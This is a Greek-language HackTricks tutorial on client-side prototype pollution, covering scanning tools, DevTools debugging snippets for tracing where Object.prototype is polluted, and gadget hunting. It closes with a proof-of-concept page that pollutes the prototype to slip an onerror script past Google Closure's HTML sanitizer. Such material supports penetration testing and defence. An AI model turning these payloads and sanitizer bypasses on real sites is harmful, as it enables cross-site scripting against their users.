Client Side Prototype Pollution

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Ανακάλυψη χρησιμοποιώντας αυτόματα εργαλεία

Τα εργαλεία https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap και https://github.com/kosmosec/proto-find μπορούν να χρησιμοποιηθούν για να βρεθούν ευπάθειες προσβολής του πρωτοκόλλου.

Επιπλέον, μπορείτε επίσης να χρησιμοποιήσετε την επέκταση προγράμματος περιήγησης PPScan για να σαρώσετε αυτόματα τις σελίδες που αποκτάτε πρόσβαση για ευπάθειες προσβολής του πρωτοκόλλου.

Αποσφαλμάτωση όπου χρησιμοποιείται μια ιδιότητα

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Εύρεση της ρίζας του προβλήματος της Prototype Pollution

Μόλις έχει εντοπιστεί μια ευπάθεια της Prototype Pollution από οποιοδήποτε εργαλείο και αν ο κώδικας δεν είναι υπερβολικά πολύπλοκος, μπορείτε να βρείτε την ευπάθεια αναζητώντας λέξεις-κλειδιά όπως location.hash, decodeURIComponent ή location.search στα Chrome Developer Tools. Αυτή η προσέγγιση σας επιτρέπει να εντοπίσετε το ευπάθεια τμήμα του κώδικα JavaScript.

Για μεγαλύτερους και πιο πολύπλοκους κώδικες, ένας απλός τρόπος για να ανακαλύψετε τον ευπάθη κώδικα περιλαμβάνει τα εξής βήματα:

  1. Χρησιμοποιήστε ένα εργαλείο για να εντοπίσετε μια ευπάθεια και να λάβετε ένα payload που έχει σχεδιαστεί για να ορίσει μια ιδιότητα στον constructor. Ένα παράδειγμα που παρέχεται από το ppmap μπορεί να φαίνεται ως εξής: constructor[prototype][ppmap]=reserved.

  2. Ορίστε ένα σημείο διακοπής στην πρώτη γραμμή του κώδικα JavaScript που θα εκτελεστεί στη σελίδα. Ανανεώστε τη σελίδα με το payload, διακόπτοντας την εκτέλεση σε αυτό το σημείο διακοπής.

  3. Ενώ η εκτέλεση του JavaScript είναι διακοπτόμενη, εκτελέστε τον παρακάτω κώδικα στην κονσόλα του JS. Αυτός ο κώδικας θα ενημερώσει όταν δημιουργηθεί η ιδιότητα 'ppmap', βοηθώντας στον εντοπισμό της προέλευσής της:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Πλοηγηθείτε πίσω στην καρτέλα Πηγές και επιλέξτε "Συνέχιση εκτέλεσης σεναρίου". Το JavaScript θα συνεχίσει να εκτελείται και η ιδιότητα 'ppmap' θα μολυνθεί όπως αναμένεται. Χρησιμοποιώντας το κομμάτι κώδικα που παρέχεται, διευκολύνεται η εντοπισμός της ακριβούς τοποθεσίας όπου μολύνεται η ιδιότητα 'ppmap'. Εξετάζοντας τη Στοίβα Κλήσεων, μπορούν να παρατηρηθούν διάφορες στοίβες όπου έχει συμβεί η μόλυνση.

Όταν αποφασίζετε ποια στοίβα να εξετάσετε, συχνά είναι χρήσιμο να επικεντρωθείτε σε στοίβες που σχετίζονται με αρχεία βιβλιοθήκης JavaScript, καθώς η προσβολή του πρωτοτύπου συμβαίνει συχνά μέσα σε αυτές τις βιβλιοθήκες. Εντοπίστε τη σχετική στοίβα εξετάζοντας τη σύνδεσή της με τα αρχεία βιβλιοθήκης (ορατά στη δεξιά πλευρά, παρόμοια με μια εικόνα που παρέχεται για καθοδήγηση). Σε περιπτώσεις με πολλαπλές στοίβες, όπως αυτές στις γραμμές 4 και 6, η λογική επιλογή είναι η στοίβα στη γραμμή 4, καθώς αντιπροσωπεύει την αρχική εμφάνιση της μόλυνσης και, επομένως, τη ρίζα του προβλήματος ασφαλείας. Κάνοντας κλικ στη στοίβα θα σας κατευθύνει στο ευάλωτο κώδικα.

Εύρεση Εργαλείων Σεναρίου

Το εργαλείο είναι ο κώδικας που θα καταχραστείτε μόλις ανακαλυφθεί μια ευπάθεια PP.

Εάν η εφαρμογή είναι απλή, μπορούμε να αναζητήσουμε λέξεις-κλειδιά όπως srcdoc/innerHTML/iframe/createElement και να εξετάσουμε τον πηγαίο κώδικα και να ελέγξουμε αν οδηγεί σε εκτέλεση κώδικα JavaScript. Μερικές φορές, οι αναφερόμενες τεχνικές ενδέχεται να μην βρίσκουν καθόλου εργαλεία. Σε αυτήν την περίπτωση, η αναθεώρηση του πηγαίου κώδικα αποκαλύπτει κάποια ενδιαφέροντα εργαλεία, όπως στο παρακάτω παράδειγμα.

Παράδειγμα εύρεσης εργαλείου PP στον κώδικα της βιβλιοθήκης Mithil

Ελέγξτε αυτήν την ανάρτηση: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Επανασυγκρότηση φορτίων για ευπάθεις βιβλιοθήκες

Παράκαμψη HTML Sanitizers μέσω PP

Αυτή η έρευνα δείχνει εργαλεία PP που χρησιμοποιούνται για παράκαμψη των απολυμάνσεων που παρέχονται από ορισμένες βιβλιοθήκες απολύμανσης HTML:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Αναφορές

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated